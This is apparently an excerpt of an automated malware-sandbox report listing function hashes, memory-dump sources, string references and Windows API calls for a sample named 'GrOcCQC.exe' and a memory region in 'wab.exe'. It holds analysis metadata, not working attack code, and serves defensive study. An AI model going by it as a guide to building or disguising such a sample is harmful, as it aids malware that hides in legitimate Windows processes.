Opcode Fuzzy Hash: 61a5db2228bb326d15582c4cfc4ffb9aab0961ce5e338eaf98e9cc1d3b6e7ea2
Instruction Fuzzy Hash: 07118E75544280DFDB11CF14D9D4B15FBA2FB84318F24C6ADD8494FA56C33AE44ACB62

Function 232C0DE1 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e1ff3b442276784a0d8f2ff0297ba34cc2305004d1edd840bcb967820bcba94
Instruction ID: b21c9a7f42f09a4be082456fa4fe91dcfa840ee5d979bfc7f23fc06c5ca6c773
Opcode Fuzzy Hash: 1e1ff3b442276784a0d8f2ff0297ba34cc2305004d1edd840bcb967820bcba94
Instruction Fuzzy Hash: 1001A2317000551BDB14A57D891874BB7DACBCAA20F28C879E10ACB346E965DD4343D1

Function 232C0860 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d6ca2f1e5a64c586f5bccbfae9cb45f7d80213349b068c47f17de9c24ddea31
Instruction ID: 6c5f187f2c4dddaf7cb6f10303544be2e40c7d8fdd2065ecea6c200732871c24
Opcode Fuzzy Hash: 2d6ca2f1e5a64c586f5bccbfae9cb45f7d80213349b068c47f17de9c24ddea31
Instruction Fuzzy Hash: 4811C2B5D01259AFCB00CF9AD984ADEFBB4FF49310F10862AE518A7640C374A950CBA5

Function 232C0DE8 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e6760e16af83f9d74b945edbfd97d5cd086ac2da1d853beed3168a6d9fad5bb
Instruction ID: e76ec90687a624b0ebe7c2bb5bedc28b6b0ccb4255a7f733675fff7168b1a9da
Opcode Fuzzy Hash: 7e6760e16af83f9d74b945edbfd97d5cd086ac2da1d853beed3168a6d9fad5bb
Instruction Fuzzy Hash: 7401D131B000150BDB14A56D8918B0FB3CFCBC9B20F28C879E10AC7386E965EC4343D1

Function 232CB720 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf43c081050632505b796ffec5cfbbd24fc1f05628672ffb4d81688ca3e76cf6
Instruction ID: 8c64723f91e1a28615be27d1f5bbd18e77e4351bd067c82bbcbccc9b0c9b4f73
Opcode Fuzzy Hash: cf43c081050632505b796ffec5cfbbd24fc1f05628672ffb4d81688ca3e76cf6
Instruction Fuzzy Hash: 5801D13AB000120BC711A66D8858B2FB3CADBC9624F28CC39E90AC7340EA25DC468381

Function 232C0B97 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a89ff65b071cb7d89875c377e9d19eb5a3af59cf573cd6b46f5c42aee10c36e
Instruction ID: dd588c7a9db60d2a31bae44cefc8fe26eda4bee55725d4d83a79b6747f07ecff
Opcode Fuzzy Hash: 3a89ff65b071cb7d89875c377e9d19eb5a3af59cf573cd6b46f5c42aee10c36e
Instruction Fuzzy Hash: CE01D636B000154BDB48AA68CD186EF77EF9BC8610F0585BAC40AE7384EE64CD4247D1

Function 232C28A7 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 062ead5fd5f7bb244fb8938d33cafa682c1e8d592d8b9d343712b480307053ee
Instruction ID: e1eaf2742a1c936b56bab8ba6b404cf631c7356b00df829b3826f58af09edcee
Opcode Fuzzy Hash: 062ead5fd5f7bb244fb8938d33cafa682c1e8d592d8b9d343712b480307053ee
Instruction Fuzzy Hash: B0F0A973F201B506DF206569AC8169EA75DD7C5920F360E67D80AD3145D955CF8243C1

Function 232C6C98 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4098867b99b57ee6ef3c57ad833a33bad906c5a2f45846db6558f53e940cbc53
Instruction ID: fe42c0d7102f33211a61225c475894c85180ec385fd1e772e2c5793bd7d0b92d
Opcode Fuzzy Hash: 4098867b99b57ee6ef3c57ad833a33bad906c5a2f45846db6558f53e940cbc53
Instruction Fuzzy Hash: 6901F434B400111BC700E67DCC68B0AB3DADB89710F28CD39E40BC7380EA25EE828780

Function 232C9160 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fd47d38ff0f1b36127efd8eae535acf62ff269d14b5e477de01c4da3f2b6f6d
Instruction ID: 336d25f7774fa7c23028f12a2dfd2bcd478c070b9cdbe3ed4da40fc2bf1e3ced
Opcode Fuzzy Hash: 7fd47d38ff0f1b36127efd8eae535acf62ff269d14b5e477de01c4da3f2b6f6d
Instruction Fuzzy Hash: 33012D35F1025497CB049669DD49A8E7779FB85354F004579E801F7380DB32AD41CB80

Function 232C6C9D Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b4b33e63362dd8bf919ded244dcc7eff85bdf0ab2da51bb80412642cc571bd4
Instruction ID: a4bfb180ad23781df49c6f96ffea67ed78250a4dc25e3c04f585f514ab027bdd
Opcode Fuzzy Hash: 3b4b33e63362dd8bf919ded244dcc7eff85bdf0ab2da51bb80412642cc571bd4
Instruction Fuzzy Hash: E601C834B401414BDB01E77DD868B0A77D5DB89614F28CA79E40AD7385EA25DD838781

Function 232C78A8 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd1377f0b1a779ed42bf29da525d10372305ea735d91f09253a87c6b468a34ac
Instruction ID: ea5fd01080ec57f69f49cb60e2e9c6a718c69eb162b442f576c1ba34d335c235
Opcode Fuzzy Hash: bd1377f0b1a779ed42bf29da525d10372305ea735d91f09253a87c6b468a34ac
Instruction Fuzzy Hash: 53E0D832E0025D5BDF20A5A8D8145CFBBBDF785720F11467BD909E7300E6219D45C7D1

Non-executed Functions

Function 232C3C00 Relevance: 14.2, Strings: 11, Instructions: 468COMMON

Download Yara Rule

Strings

h2*#, xrefs: 232C3D76
$7q, xrefs: 232C3D48
$7q, xrefs: 232C3D0B
$7q, xrefs: 232C40D4
$7q, xrefs: 232C4167
$7q, xrefs: 232C3D3C
$7q, xrefs: 232C40C8
$7q, xrefs: 232C417D
$7q, xrefs: 232C4189
$7q, xrefs: 232C4173
$7q, xrefs: 232C3D17

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID: h2*#$$7q$$7q$$7q$$7q$$7q$$7q$$7q$$7q$$7q$$7q
API String ID: 0-3962032853
Opcode ID: c61e6140ae9aa1dec33ee4c05e8d1963413c1ead8dd84b2e7a8e31822bd2b7ca
Instruction ID: 41145d190186fd4d4557570b52bec7ceabcbe0e95a67407d71b9e9f5da566f7e
Opcode Fuzzy Hash: c61e6140ae9aa1dec33ee4c05e8d1963413c1ead8dd84b2e7a8e31822bd2b7ca
Instruction Fuzzy Hash: 71129E34B00259CFDB15DF69CD94A9EB7B2BF84300F218AA9D50AAB355DB359D81CF40

Function 232C72C0 Relevance: 10.2, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

$7q, xrefs: 232C7472
$7q, xrefs: 232C743C
$7q, xrefs: 232C747E
$7q, xrefs: 232C7448
$7q, xrefs: 232C7411
$7q, xrefs: 232C73C2
$7q, xrefs: 232C73B6
$7q, xrefs: 232C741D

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID: $7q$$7q$$7q$$7q$$7q$$7q$$7q$$7q
API String ID: 0-3620162937
Opcode ID: 783e64faaf6b350bf98d396d91b2372fe5389d4a395b8caaeb59c39c9adfd4ad
Instruction ID: f0cf38c72c84c5709f11bb583943325949f520283bf2ed7b0ce9e6a687da6b36
Opcode Fuzzy Hash: 783e64faaf6b350bf98d396d91b2372fe5389d4a395b8caaeb59c39c9adfd4ad
Instruction Fuzzy Hash: D591B334A0024ADFDB14DF69CD94BAEBBB6BF84304F118A69D801A7381DB359D85CB90

Function 232C35F8 Relevance: 9.2, Strings: 7, Instructions: 405COMMON

Download Yara Rule

Strings

.5Oq, xrefs: 232C3653
$7q, xrefs: 232C3A95
$7q, xrefs: 232C38DB
$7q, xrefs: 232C3941
$7q, xrefs: 232C3B01
$7q, xrefs: 232C3B0D
$7q, xrefs: 232C3935

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID: .5Oq$$7q$$7q$$7q$$7q$$7q$$7q
API String ID: 0-932565753
Opcode ID: 23649913230675cb3c818857ff099790f2779256e1e093da5cad318f7c4061e7
Instruction ID: b6761cc202f23dfb6e8018e91e52cc611a90eddfc1d9f2cc9ece145b0db9737b
Opcode Fuzzy Hash: 23649913230675cb3c818857ff099790f2779256e1e093da5cad318f7c4061e7
Instruction Fuzzy Hash: 53F16334B00345CFDB09DB64CA44A6EBBB6BF94314F258968D406AB395CB39ED82CF44

Function 232C4D48 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

$7q, xrefs: 232C4FA3
$7q, xrefs: 232C4FAF
$7q, xrefs: 232C5008
$7q, xrefs: 232C5014

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID: $7q$$7q$$7q$$7q
API String ID: 0-1116366105
Opcode ID: 73f46ff915598a0d5c993bb078310b66a75fc2c1a5aaafb02f2506d422e220cd
Instruction ID: bf494375de7b39542c40a9c3c3ca2a8da6da1931b38773836da98b1bcb83d47a
Opcode Fuzzy Hash: 73f46ff915598a0d5c993bb078310b66a75fc2c1a5aaafb02f2506d422e220cd
Instruction Fuzzy Hash: 53B18C34B00249CBCB15EF65C99466EBBB6FF84304F258969D406EB395CB75DC82CB90

Function 232C5752 Relevance: 5.2, Strings: 4, Instructions: 210COMMON

Download Yara Rule

Strings

T?*#, xrefs: 232C578F
x:*#, xrefs: 232C57FC
x:*#, xrefs: 232C5917
4@*#, xrefs: 232C5968

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID: 4@*#$T?*#$x:*#$x:*#
API String ID: 0-3795019458
Opcode ID: d7c9ba70944f810c6e47460a3d3dd23b26f74d92eb6d680c15fdb47eb6f1ff82
Instruction ID: d2a225f9f88699c16441b0b69af6147c6ba23c68af580f5b66d25f21a8800b12
Opcode Fuzzy Hash: d7c9ba70944f810c6e47460a3d3dd23b26f74d92eb6d680c15fdb47eb6f1ff82
Instruction Fuzzy Hash: 55911A34A0021A8FDB14DF69C994A9EF7B6BF88304F1186D5D409AB355DB30ED86CF90

Function 232C5160 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

LR7q, xrefs: 232C5253
LR7q, xrefs: 232C52A2
$7q, xrefs: 232C51EB
$7q, xrefs: 232C51DF

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID: LR7q$LR7q$$7q$$7q
API String ID: 0-3951757628
Opcode ID: a7857c90444b95bbd35238e2f89c230def7a7a0a89540df6c97fcdc59dc778d3
Instruction ID: f0cad3f594a66ea74041103cfcb219105efab73958d34db5b2f9a04e69e5004b
Opcode Fuzzy Hash: a7857c90444b95bbd35238e2f89c230def7a7a0a89540df6c97fcdc59dc778d3
Instruction Fuzzy Hash: 305107347002459FDB08DB39C948A5AB7FAFF84704F258AA9E4069B395DB75EC41CF90

Function 232C7648 Relevance: 5.2, Strings: 4, Instructions: 160COMMON

Download Yara Rule

Strings

$7q, xrefs: 232C7779
$7q, xrefs: 232C7825
$7q, xrefs: 232C77CD
$7q, xrefs: 232C77FC

Memory Dump Source

Source File: 0000000F.00000002.882858910725.00000000232C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 232C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_232c0000_wab.jbxd

Similarity

API ID:
String ID: $7q$$7q$$7q$$7q
API String ID: 0-1116366105
Opcode ID: aa5d09f7a72865b674249be7ebef26eede50963c86878d344dbe171f47bc54d5
Instruction ID: 3d75c5687de611c17bbfdbb46cd713059f893b4c42a7bdcd5045674bf2510575
Opcode Fuzzy Hash: aa5d09f7a72865b674249be7ebef26eede50963c86878d344dbe171f47bc54d5
Instruction Fuzzy Hash: 6A51C334B002498FCB15DB6CD9849ADB3B6FF84310F258AA9D506E7345DB35ED81CB80

Analysis Process: GrOcCQC.exePID: 4764, Parent PID: 2692COMMON

Execution Graph

Execution Coverage:	27.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.2%
Total number of Nodes:	215
Total number of Limit Nodes:	4

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 007E1C5C Relevance: 61.9, APIs: 31, Strings: 4, Instructions: 637
registrymemorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 007E1CC6
GetCommandLineW.KERNEL32 ref: 007E1CCE
HeapSetInformation.KERNEL32(00000000,00000001,00000000,00000000,?), ref: 007E1D0E
LoadStringW.USER32(00000000,000007D1,?,00000104), ref: 007E1D49
LoadIconW.USER32 ref: 007E1D84
LoadCursorW.USER32(00000000,00007F00), ref: 007E1D96
GetStockObject.GDI32(00000000), ref: 007E1DA3
RegisterClassW.USER32(00000003), ref: 007E1DCD
CreateWindowExW.USER32(00000000,Contacts Viewer,?,00CF0000,00000000,00000000,0000012C,000000C8,00000000,00000000,00000000), ref: 007E1DF8
GetLastError.KERNEL32 ref: 007E1E22
FreeLibrary.KERNELBASE(?), ref: 007E201B
FreeLibrary.KERNELBASE(?), ref: 007E256C

Strings

, xrefs: 007E213B
API Entered, xrefs: 007E1EC9
Contacts Viewer, xrefs: 007E1DAF, 007E1DF6
WABOpen, xrefs: 007E211C

Memory Dump Source

Source File: 00000010.00000002.879003034396.00000000007E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000010.00000002.879002995876.00000000007E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007E5000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007E7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007FD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7e0000_GrOcCQC.jbxd

Similarity

API ID: Load$FreeLibrary$ClassCommandCreateCursorErrorHeapIconInformationLastLineObjectRegisterStockStringWindowmemset
String ID: $API Entered$Contacts Viewer$WABOpen
API String ID: 328653217-1327836325
Opcode ID: 5d8062eb49536ac5df790142f647ca82a958e5c9d37d05235a36973c435f64dc
Instruction ID: ce5206d1fa4c1b56f0406f665a89abf45132d487696230efe9a0b03a44b6c7ac
Opcode Fuzzy Hash: 5d8062eb49536ac5df790142f647ca82a958e5c9d37d05235a36973c435f64dc
Instruction Fuzzy Hash: 3032C9719022989FDB248B16DC85BE977B9FF4C304F5440A9F509AB1A1DB3C9E81CF94

Function 007E28A4 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 76
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 007E28DE
RegOpenKeyExW.KERNELBASE(80000002,Software\Microsoft\WAB\DLLPath,00000000,00020019,?,?,00000000,00000000), ref: 007E290A
RegQueryValueExW.KERNELBASE(?,007E11FC,00000000,?,?,?,?,00000000,00000000), ref: 007E293F
ExpandEnvironmentStringsW.KERNEL32(?,?,00000104,?,00000000,00000000), ref: 007E295F
GetFileAttributesW.KERNEL32(?,?,00000000,00000000), ref: 007E296E
RegCloseKey.KERNELBASE(?,?,00000000,00000000), ref: 007E2997

Strings

Software\Microsoft\WAB\DLLPath, xrefs: 007E2900
0Gw, xrefs: 007E2997

Memory Dump Source

Source File: 00000010.00000002.879003034396.00000000007E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000010.00000002.879002995876.00000000007E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007E5000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007E7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007FD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7e0000_GrOcCQC.jbxd

Similarity

API ID: AttributesCloseEnvironmentExpandFileOpenQueryStringsValuememset
String ID: 0Gw$Software\Microsoft\WAB\DLLPath
API String ID: 2763597636-47952444
Opcode ID: a588e18f0baa1d12470e578b3f7ea60ca76c97d6459d7f76679e2f5446ad5b49
Instruction ID: 4b20ff2cd6123981b81ee2e2b41a43afceb806dc98e44f7478e76f805f43daeb
Opcode Fuzzy Hash: a588e18f0baa1d12470e578b3f7ea60ca76c97d6459d7f76679e2f5446ad5b49
Instruction Fuzzy Hash: 9621A3B094225CAACB309B268C8DEDAB7BCAF58710F1002D9B419F6152DB745B85CEA0

Function 007E3030 Relevance: 12.1, APIs: 8, Instructions: 144
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007E3675: GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 007E36A2
Part of subcall function 007E3675: GetCurrentProcessId.KERNEL32 ref: 007E36B1
Part of subcall function 007E3675: GetCurrentThreadId.KERNEL32 ref: 007E36BA
Part of subcall function 007E3675: GetTickCount.KERNEL32 ref: 007E36C3
Part of subcall function 007E3675: QueryPerformanceCounter.KERNEL32(?), ref: 007E36D8

GetStartupInfoW.KERNEL32(?,007E3838,00000058), ref: 007E304F
Sleep.KERNEL32(000003E8), ref: 007E3084
_amsg_exit.MSVCRT ref: 007E3099
_initterm.MSVCRT ref: 007E30ED
exit.KERNELBASE ref: 007E318F
_ismbblead.MSVCRT ref: 007E31AA

Memory Dump Source

Source File: 00000010.00000002.879003034396.00000000007E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000010.00000002.879002995876.00000000007E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007E5000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007E7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007FD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7e0000_GrOcCQC.jbxd

Similarity

API ID: CurrentTime$CountCounterFileInfoPerformanceProcessQuerySleepStartupSystemThreadTick_amsg_exit_initterm_ismbbleadexit
String ID:
API String ID: 626344529-0
Opcode ID: f39361696d671d7825ceb9d7c6c0881dfe444a272d67927c166cab42757b279c
Instruction ID: e5b06d55eaec1a9a9a49d398a337ae48ab3561c67afe5e01cb624f5c2d0ebac9
Opcode Fuzzy Hash: f39361696d671d7825ceb9d7c6c0881dfe444a272d67927c166cab42757b279c
Instruction Fuzzy Hash: 0441F4719077D8DBDB209B6BD88D36A77E5EB4C720F20402EE501AB290CB7C8E408B94

Function 007E1BF4 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007E28A4: memset.MSVCRT ref: 007E28DE
Part of subcall function 007E28A4: RegOpenKeyExW.KERNELBASE(80000002,Software\Microsoft\WAB\DLLPath,00000000,00020019,?,?,00000000,00000000), ref: 007E290A
Part of subcall function 007E28A4: RegQueryValueExW.KERNELBASE(?,007E11FC,00000000,?,?,?,?,00000000,00000000), ref: 007E293F
Part of subcall function 007E28A4: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104,?,00000000,00000000), ref: 007E295F
Part of subcall function 007E28A4: RegCloseKey.KERNELBASE(?,?,00000000,00000000), ref: 007E2997

PathRemoveFileSpecW.SHLWAPI(?,?), ref: 007E1C1E
PathAppendW.SHLWAPI(?,wab32res.dll), ref: 007E1C34
LoadLibraryW.KERNELBASE(?), ref: 007E1C45

Strings

wab32res.dll, xrefs: 007E1C28

Memory Dump Source

Source File: 00000010.00000002.879003034396.00000000007E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000010.00000002.879002995876.00000000007E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007E5000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007E7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007FD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7e0000_GrOcCQC.jbxd

Similarity

API ID: Path$AppendCloseEnvironmentExpandFileLibraryLoadOpenQueryRemoveSpecStringsValuememset
String ID: wab32res.dll
API String ID: 1705514897-2698570859
Opcode ID: 4d52697c795fe5ac0e17b662513a108784352373693f04edfdc846253aa2f179
Instruction ID: db4f33e6e1cec2bccba3803c89c7f15204b685b7f9c853cb5bd0e7bdd4f0aa14
Opcode Fuzzy Hash: 4d52697c795fe5ac0e17b662513a108784352373693f04edfdc846253aa2f179
Instruction Fuzzy Hash: CAF030B5A0329C9BCB20EBB69D4DA9E77BCAB4C704F9081A5A511D7141DB38DE04CBA4

Function 007E1B83 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 007E1BA8

Part of subcall function 007E28A4: memset.MSVCRT ref: 007E28DE
Part of subcall function 007E28A4: RegOpenKeyExW.KERNELBASE(80000002,Software\Microsoft\WAB\DLLPath,00000000,00020019,?,?,00000000,00000000), ref: 007E290A
Part of subcall function 007E28A4: RegQueryValueExW.KERNELBASE(?,007E11FC,00000000,?,?,?,?,00000000,00000000), ref: 007E293F
Part of subcall function 007E28A4: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104,?,00000000,00000000), ref: 007E295F
Part of subcall function 007E28A4: RegCloseKey.KERNELBASE(?,?,00000000,00000000), ref: 007E2997

LoadLibraryW.KERNELBASE(?,?,00000000), ref: 007E1BE2

Strings

wab32.dll, xrefs: 007E1BDC, 007E1BE1

Memory Dump Source

Source File: 00000010.00000002.879003034396.00000000007E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000010.00000002.879002995876.00000000007E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007E5000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007E7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007FD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7e0000_GrOcCQC.jbxd

Similarity

API ID: memset$CloseEnvironmentExpandLibraryLoadOpenQueryStringsValue
String ID: wab32.dll
API String ID: 2792020168-2849205143
Opcode ID: 2e2f464eb18df41bef774c85ec95391a2271f70e5ca501148bface9299121526
Instruction ID: ff3c5ffc60c797957a94ff13b39d5ce0e345b38c4ffe7757c8076a983ff42123
Opcode Fuzzy Hash: 2e2f464eb18df41bef774c85ec95391a2271f70e5ca501148bface9299121526
Instruction Fuzzy Hash: 64F0817040325C97CF24EB69DC4E9EA7778DF0C300F904194E8068B141EA345F05CA80

Function 007E29AB Relevance: 4.6, APIs: 3, Instructions: 50
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CommandLineToArgvW.SHELL32(00000000,00000000,00000000,?,00000001,00000000,00000000), ref: 007E29C0
LocalFree.KERNEL32(00000000,?), ref: 007E29DE
RegisterApplicationRestart.KERNELBASE(007E1428,00000000,00000000), ref: 007E2A0B

Memory Dump Source

Source File: 00000010.00000002.879003034396.00000000007E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000010.00000002.879002995876.00000000007E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007E5000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007E7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007FD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7e0000_GrOcCQC.jbxd

Similarity

API ID: ApplicationArgvCommandFreeLineLocalRegisterRestart
String ID:
API String ID: 3182635576-0
Opcode ID: 3e31ab07d4fca23d84042359818a0715f58b449b3d67affa7bb89c441d4e267b
Instruction ID: 2755394955d986fbffc5851108cb54f4965615099bb052f73efc5e81d8c5cbc5
Opcode Fuzzy Hash: 3e31ab07d4fca23d84042359818a0715f58b449b3d67affa7bb89c441d4e267b
Instruction Fuzzy Hash: 22019272A01249BBDB11CBD5C8C9BADB3ACEB48365F544065E901E7202DB789E01C6A4

Non-executed Functions

Function 007E25D3 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 211
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 007E261B
memset.MSVCRT ref: 007E2633
CommandLineToArgvW.SHELL32(00000000,?,?,?,?,00000000,00000000,00000001), ref: 007E264D
StrCmpNIW.SHLWAPI(?,/LDAP:,00000006,?,?,?,00000000,00000000,00000001), ref: 007E268D
LocalFree.KERNEL32(00000000,?,?,?,00000000,00000000,00000001), ref: 007E287E

Strings

/LDAP:, xrefs: 007E2685

Memory Dump Source

Source File: 00000010.00000002.879003034396.00000000007E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000010.00000002.879002995876.00000000007E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007E5000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007E7000.00000002.00000001.01000000.00000009.sdmpDownload File
